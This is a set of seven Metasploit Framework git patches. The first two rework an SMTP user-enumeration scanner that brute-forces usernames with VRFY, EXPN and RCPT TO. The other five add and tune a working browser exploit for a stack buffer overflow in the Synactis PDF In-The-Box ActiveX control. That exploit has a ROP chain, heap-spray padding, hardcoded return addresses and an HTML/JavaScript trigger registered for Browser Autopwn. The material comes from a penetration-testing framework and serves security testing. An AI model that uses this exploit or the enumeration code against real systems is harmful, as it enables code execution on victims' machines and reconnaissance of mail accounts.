From 067899341e40351a5c8f0752e75327a579e63fb9 Mon Sep 17 00:00:00 2001 From: Thomas Ring Date: Thu, 6 Jun 2013 13:26:04 -0500 Subject: [PATCH 1/7] fix a number of issues with the existing module (slowness, false positives, false negatives, stack traces, enumering unix users on windows systems, etc) --- modules/auxiliary/scanner/smtp/smtp_enum.rb | 306 ++++++++++---------- 1 file changed, 153 insertions(+), 153 deletions(-) diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index dfc449ab9a..8a3adcf6e9 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -1,3 +1,7 @@ +## +# $Id: smtp_enum.rb 14774 2012-02-21 01:42:17Z rapid7 $ +## + ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -17,6 +21,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMTP User Enumeration Utility', + 'Version' => '$Revision: 14774 $', 'Description' => %q{ The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which @@ -33,7 +38,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ '==[ Alligator Security Team ]==', - 'Heyder Andrade ' + 'Heyder Andrade ', + 'nebulus' ], 'License' => MSF_LICENSE ) @@ -45,8 +51,9 @@ class Metasploit3 < Msf::Auxiliary [ true, 'The file that contains a list of probable users accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') - ] - )], self.class) + ]), + OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true]) + ], self.class) deregister_options('MAILTO','MAILFROM') end @@ -55,174 +62,167 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def smtp_send(data=nil, con=true) + def smtp_send(data=nil) begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - select(nil,nil,nil,0.4) - end - @connected=true + result='' + code=0 sock.put("#{data}") - @result=sock.get_once - @coderesult=@result[0..2] if @result + result=sock.get_once + result.chomp! if(result) + code = result[0..2].to_i if result + return result, code + rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError + return result, code rescue ::Exception => e - print_error("Error: #{e}") - raise e + print_error("#{target} Error smtp_send: '#{e.class}' '#{e}' '#{e.backtrace}'") + return nil, 0 end end def run_host(ip) - @users_found = {} - @mails_found = {} + users_found = {} + result = nil # temp for storing result of SMTP request + code = 0 # status code parsed from result + vrfy = true # if vrfy allowed + expn = true # if expn allowed + rcpt = true # if rcpt allowed and useful + usernames = extract_words(datastore['USER_FILE']) + cmd = 'HELO' + " " + "localhost" + "\r\n" - smtp_send(cmd,true) - print_status(banner) - @domain = @result.split()[1].split(".")[1..-1].join(".") - print_status("Domain Name: #{@domain}") + connect + result, code = smtp_send(cmd) - begin - cmd = 'VRFY' + " " + "root" + "\r\n" - smtp_send(cmd,!@connected) - if (@result.match(%r{Cannot})) or (@result.match(%r{recognized})) - vprint_status("VRFY command disabled") - elsif (@result.match(%r{restricted})) - vprint_status("VRFY command restricted") - else - vprint_status("VRFY command enabled") - vrfy_ok=true - end + if(not result or result == nil) + print_error("#{target} Connection but no data...skipping") + return + end + banner.chomp! if (banner) + if(banner =~ /microsoft/i and datastore['UNIXONLY']) + print_status("#{target} Skipping microsoft (#{banner})") + return + elsif(banner) + print_status("#{target} Banner: #{banner}") + end + + domain = result.split()[1] + domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') + + + vprint_status("#{ip}:#{rport} Domain Name: #{domain}") + + result, code = smtp_send("VRFY root\r\n") + vrfy = false if (code != 250) + users_found = do_enum('VRFY', usernames) if (vrfy) + + if(users_found.empty?) + # VRFY failed, lets try EXPN + result, code = smtp_send("EXPN root\r\n") + expn = false if (code != 250) + users_found = do_enum('EXPN', usernames) if(expn) end - begin - if (vrfy_ok) - extract_words(datastore['USER_FILE']).each {|user| - do_vrfy_enum(user) - } - else - do_mail_from() - extract_words(datastore['USER_FILE']).each {|user| - return finish_host() if ((do_rcpt_enum(user)) == :abort) - } - end - - if(@users_found.empty?) - print_status("#{target} No users or e-mail addresses found.") - else - vprint_status("#{target} - SMTP - Trying to get valid e-mail addresses") - @users_found.keys.each {|mails| - return finish_host() if((do_get_mails(mails)) == :abort) - } - finish_host() - disconnect - end - end - end - - def finish_host() - if @users_found && !@users_found.empty? - print_good("#{target} Users found: #{@users_found.keys.sort.join(", ")}") - report_note( - :host => rhost, - :port => rport, - :type => 'smtp.users', - :data => {:users => @users_found.keys.join(", ")} - ) - end - - if(@mails_found.nil? or @mails_found.empty?) - print_status("#{target} No e-mail addresses found.") - else - print_good("#{target} E-mail addresses found: #{@mails_found.keys.sort.join(", ")}") - report_note( - :host => rhost, - :port => rport, - :type => 'smtp.mails', - :data => {:mails => @mails_found.keys.join(", ")} - ) - end - end - - def do_vrfy_enum(user) - cmd = 'VRFY' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - vprint_status("#{target} - SMTP - Trying name: '#{user}'") - case @coderesult.to_i - when (250..259) - print_good "#{target} - Found user: #{user}" - @users_found[user] = :reported - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - @mails_found[mail.to_s] = :reported - end - end - end - - def do_mail_from() - vprint_status("Trying to use to RCPT TO command") - cmd = 'MAIL FROM:' + " root@" + @domain + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '501') && @domain.split(".").count > 2 - print_error "#{target} - MX domain failure for #{@domain}, trying #{@domain.split(/\./).slice(-2,2).join(".")}" - cmd = 'MAIL FROM:' + " root@" + @domain.split(/\./).slice(-2,2).join(".") + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '501') - print_error "#{target} - MX domain failure for #{@domain.split(/\./).slice(-2,2).join(".")}" - return :abort - end - elsif (@coderesult == '501') - print_error "#{target} - MX domain failure for #{@domain}" - return :abort - end - end - - def do_rcpt_enum(user) - cmd = 'RCPT TO:' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - vprint_status("#{target} - SMTP - Trying name: '#{user}'") - case @coderesult.to_i - # 550 is User unknown, which obviously isn't fatal when trying to - # enumerate users, so only abort on other 500-series errors. See #4031 - when (500..549), (551..599) - print_error "#{target} : #{@result.strip if @result} " - print_error "#{target} : Enumeration not possible" - return :abort - when (250..259) - print_good "#{target} - Found user: #{user}" - @users_found[user] = :reported - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - @mails_found[mail.to_s] = :reported - end - end - end - - def do_get_mails(user) - cmd = 'EXPN' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '502') - print_error "#{target} - EXPN : #{@result.strip if @result}" - return :abort - else - unless (@result.nil? || @result.empty?) - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - print_good "#{target} - Mail Found: #{mail}" - @mails_found[mail.to_s] = :reported + if(users_found.empty?) + # EXPN/VRFY failed, drop back to RCPT TO + result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n") + if(code == 250) + user = Rex::Text.rand_text_alpha(8) + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") + if(code >= 250 and code <= 259) + vprint_status("#{target} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'") + rcpt = false + else + smtp_send("RSET\r\n") + users_found = do_rcpt_enum(domain, usernames) end + else + rcpt = false end end + + if(not vrfy and not expn and not rcpt) + print_status("#{target} could not be enumerated (no EXPN, no VRFY, invalid RCPT)") + return + end + finish_host(users_found) + disconnect + + rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT + rescue ::Exception => e + print_error( (e.to_str == 'execution expired') ? "Error: #{target} Execution expired" : "Error: #{target} '#{e.class}' '#{e}' '#{e.backtrace}'") + end + + def finish_host(users_found) + ip, port = target.split(':') + if users_found and not users_found.empty? + print_good("#{target} Users found: #{users_found.sort.join(", ")}") + report_note( + :host => ip, + :port => port, + :type => 'smtp.users', + :data => {:users => users_found.join(", ")} + ) + end + end + + def kiss_and_make_up(cmd) + vprint_status("#{target} SMTP server annoyed...reconnecting and saying HELO again...") + disconnect + connect + smtp_send("HELO localhost\r\n") + result, code = smtp_send("#{cmd}") + result.chomp! + cmd.chomp! + vprint_status("#{target} - SMTP - Re-trying #{cmd} received #{code} '#{result}'") + return result,code + end + + def do_enum(cmd, usernames) + + users = [] + usernames.each {|user| + next if user.downcase == 'root' + result, code = smtp_send("#{cmd} #{user}\r\n") + vprint_status("#{target} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'") + result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '') + if(code == 250) + vprint_status("#{target} - Found user: #{user}") + users.push(user) + end + } + return users + end + + def do_rcpt_enum(domain, usernames) + users = [] + usernames.each {|user| + next if user.downcase == 'root' + vprint_status("#{target} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...") + result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n") + result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '') + + if(code == 250) + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") + if(code == 0 and result.to_s == '') + kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") + end + + if(code == 250) + vprint_status("#{target} - Found user: #{user}") + users.push(user) + end + else + vprint_status("#{target} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')") + break + end + smtp_send("RSET\r\n") + } + return users end def extract_words(wordfile) return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") {|f| f.read} - rescue - return - end + words = File.open(wordfile, "rb") {|f| f.read} save_array = words.split(/\r?\n/) return save_array end From 8cf5b548c37af68228b3b958b8d7e295b17a11db Mon Sep 17 00:00:00 2001 From: Thomas Ring Date: Thu, 6 Jun 2013 14:23:25 -0500 Subject: [PATCH 2/7] make recommended changes --- modules/auxiliary/scanner/smtp/smtp_enum.rb | 50 +++++++++------------ 1 file changed, 20 insertions(+), 30 deletions(-) diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index 8a3adcf6e9..c8e26389b8 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -1,7 +1,3 @@ -## -# $Id: smtp_enum.rb 14774 2012-02-21 01:42:17Z rapid7 $ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -21,7 +17,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMTP User Enumeration Utility', - 'Version' => '$Revision: 14774 $', 'Description' => %q{ The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which @@ -58,10 +53,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('MAILTO','MAILFROM') end - def target - "#{rhost}:#{rport}" - end - def smtp_send(data=nil) begin result='' @@ -74,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError return result, code rescue ::Exception => e - print_error("#{target} Error smtp_send: '#{e.class}' '#{e}' '#{e.backtrace}'") + print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'") return nil, 0 end end @@ -92,16 +83,16 @@ class Metasploit3 < Msf::Auxiliary connect result, code = smtp_send(cmd) - if(not result or result == nil) - print_error("#{target} Connection but no data...skipping") + if(not result) + print_error("#{rhost}:#{rport} Connection but no data...skipping") return end banner.chomp! if (banner) if(banner =~ /microsoft/i and datastore['UNIXONLY']) - print_status("#{target} Skipping microsoft (#{banner})") + print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})") return elsif(banner) - print_status("#{target} Banner: #{banner}") + print_status("#{rhost}:#{rport} Banner: #{banner}") end domain = result.split()[1] @@ -111,13 +102,13 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{ip}:#{rport} Domain Name: #{domain}") result, code = smtp_send("VRFY root\r\n") - vrfy = false if (code != 250) + vrfy = (code == 250) users_found = do_enum('VRFY', usernames) if (vrfy) if(users_found.empty?) # VRFY failed, lets try EXPN result, code = smtp_send("EXPN root\r\n") - expn = false if (code != 250) + expn = (code == 250) users_found = do_enum('EXPN', usernames) if(expn) end @@ -128,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary user = Rex::Text.rand_text_alpha(8) result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") if(code >= 250 and code <= 259) - vprint_status("#{target} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'") + vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'") rcpt = false else smtp_send("RSET\r\n") @@ -140,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary end if(not vrfy and not expn and not rcpt) - print_status("#{target} could not be enumerated (no EXPN, no VRFY, invalid RCPT)") + print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)") return end finish_host(users_found) @@ -148,16 +139,15 @@ class Metasploit3 < Msf::Auxiliary rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT rescue ::Exception => e - print_error( (e.to_str == 'execution expired') ? "Error: #{target} Execution expired" : "Error: #{target} '#{e.class}' '#{e}' '#{e.backtrace}'") + print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'") end def finish_host(users_found) - ip, port = target.split(':') if users_found and not users_found.empty? - print_good("#{target} Users found: #{users_found.sort.join(", ")}") + print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}") report_note( - :host => ip, - :port => port, + :host => rhost, + :port => rport, :type => 'smtp.users', :data => {:users => users_found.join(", ")} ) @@ -165,14 +155,14 @@ class Metasploit3 < Msf::Auxiliary end def kiss_and_make_up(cmd) - vprint_status("#{target} SMTP server annoyed...reconnecting and saying HELO again...") + vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...") disconnect connect smtp_send("HELO localhost\r\n") result, code = smtp_send("#{cmd}") result.chomp! cmd.chomp! - vprint_status("#{target} - SMTP - Re-trying #{cmd} received #{code} '#{result}'") + vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'") return result,code end @@ -182,10 +172,10 @@ class Metasploit3 < Msf::Auxiliary usernames.each {|user| next if user.downcase == 'root' result, code = smtp_send("#{cmd} #{user}\r\n") - vprint_status("#{target} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'") + vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'") result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '') if(code == 250) - vprint_status("#{target} - Found user: #{user}") + vprint_status("#{rhost}:#{rport} - Found user: #{user}") users.push(user) end } @@ -196,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary users = [] usernames.each {|user| next if user.downcase == 'root' - vprint_status("#{target} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...") + vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...") result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n") result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '') @@ -208,11 +198,11 @@ class Metasploit3 < Msf::Auxiliary end if(code == 250) - vprint_status("#{target} - Found user: #{user}") + vprint_status("#{rhost}:#{rport} - Found user: #{user}") users.push(user) end else - vprint_status("#{target} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')") + vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')") break end smtp_send("RSET\r\n") From d3e57ffc46ccac423cf378e47a503ebecffe6a44 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 6 Jun 2013 20:05:08 -0500 Subject: [PATCH 3/7] Add OSVDB-93754: Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX component, specifically PDF_IN_1.ocx. When a long string of data is given to the ConnectToSynactis function, which is meant to be used for the ldCmdLine argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry class pointer saved on the stack, and results in arbitrary code execution under the context of the user. --- .../browser/synactis_connecttosynactis_bof.rb | 206 ++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb new file mode 100644 index 0000000000..70b4a3146d --- /dev/null +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -0,0 +1,206 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "7.0", + :ua_maxver => "8.0", + :javascript => true, + :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", + :method => "ConnectToSynactis", + :os_name => OperatingSystems::WINDOWS, + :rank => Rank + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX + component, specifically PDF_IN_1.ocx. When a long string of data is given + to the ConnectToSynactis function, which is meant to be used for the ldCmdLine + argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry + class pointer saved on the stack, and results in arbitrary code execution under the + context of the user. + + Also note that since the WinExec function is used to call iexplore.exe to launch + an arbitary URL, when the exploit is run, this may also cause another iexplore.exe + to pop up. + + Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, + which is how the vulnerability was found and publicly disclosed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h1ch4m', + 'sinn3r' #Metasploit + ], + 'References' => + [ + [ 'OSVDB', '93754' ], + [ 'EDB', '25835' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + # Newer setups like Win + IE8: "Object doesn't support this property or method" + [ 'Automatic', {} ], + [ + 'IE 7 on Windows XP SP3', {'Eax' => 0x20302028} + ], + [ + # 0x20302020 = Where the heap spray will land + # 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4 + 'IE 8 on Windows XP SP3', + { 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "May 30 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + return nil + end + + def get_payload(t, cli) + code = payload.encoded + + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + # Must be null-byte-free for the spray + chain = + [ + t['Pivot'], + 0x41414141, + t['Ecx'], # To ECX + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x41414141, + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + + p = chain + align + code + + else + p = "\x0c" * 50 + code + end + + p + end + + def get_html(cli, req, target) + js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch)) + eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x" + + html = %Q| + + + + + + + + + | + + html.gsub(/^\t\t/, '') + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + target = get_target(agent) + if target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + print_status("Target selected as: #{target.name}") + send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end +end \ No newline at end of file From e559824dc89576570fefe4e9a5c95d8c05482ef9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 6 Jun 2013 20:08:50 -0500 Subject: [PATCH 4/7] Remove whitespace --- .../windows/browser/synactis_connecttosynactis_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index 70b4a3146d..ef01224c9f 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -170,10 +170,10 @@ class Metasploit3 < Msf::Exploit::Remote var p1 = ''; var p2 = ''; eax = "#{eax}"; - + while (p1.length < 189) p1 += "\\x41"; while (p2.length < 7000) p2 += "\\x42"; - + var obj = document.getElementById("obj"); obj.ConnectToSynactis(p1+eax+p2); } From f3421f2c3a49c1ad8a81de3424a49df61c2fa541 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 7 Jun 2013 10:26:04 -0500 Subject: [PATCH 5/7] Fix different landings --- .../windows/browser/synactis_connecttosynactis_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index ef01224c9f..0f48829b8c 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", :method => "ConnectToSynactis", :os_name => OperatingSystems::WINDOWS, - :rank => Rank + :rank => NormalRanking }) def initialize(info={}) @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote # Newer setups like Win + IE8: "Object doesn't support this property or method" [ 'Automatic', {} ], [ - 'IE 7 on Windows XP SP3', {'Eax' => 0x20302028} + 'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c} ], [ # 0x20302020 = Where the heap spray will land @@ -171,8 +171,8 @@ class Metasploit3 < Msf::Exploit::Remote var p2 = ''; eax = "#{eax}"; - while (p1.length < 189) p1 += "\\x41"; - while (p2.length < 7000) p2 += "\\x42"; + while (p1.length < 189) p1 += "\\x0c"; + while (p2.length < 7000) p2 += "\\x0c"; var obj = document.getElementById("obj"); obj.ConnectToSynactis(p1+eax+p2); From 9c7b446532ecc5b115b041a8d2d9b4fb5dedb82f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 7 Jun 2013 11:58:31 -0500 Subject: [PATCH 6/7] Updates description about default browser setting --- .../windows/browser/synactis_connecttosynactis_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index 0f48829b8c..b14fe8b94e 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -36,9 +36,9 @@ class Metasploit3 < Msf::Exploit::Remote class pointer saved on the stack, and results in arbitrary code execution under the context of the user. - Also note that since the WinExec function is used to call iexplore.exe to launch - an arbitary URL, when the exploit is run, this may also cause another iexplore.exe - to pop up. + Also note that since the WinExec function is used to call the default browser, + you must be aware that: 1) The default must be Internet Explorer, and 2) When the + exploit runs, another browser will pop up. Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, which is how the vulnerability was found and publicly disclosed. From ea2895ac1367f1bad9a2f248c0742367e5f9c687 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 7 Jun 2013 12:08:51 -0500 Subject: [PATCH 7/7] Change to AverageRanking Just to play with the firing order for Browser Autopwn, this one should fire as late as possible. --- .../exploits/windows/browser/synactis_connecttosynactis_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index b14fe8b94e..de6dada631 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", :method => "ConnectToSynactis", :os_name => OperatingSystems::WINDOWS, - :rank => NormalRanking + :rank => AverageRanking }) def initialize(info={})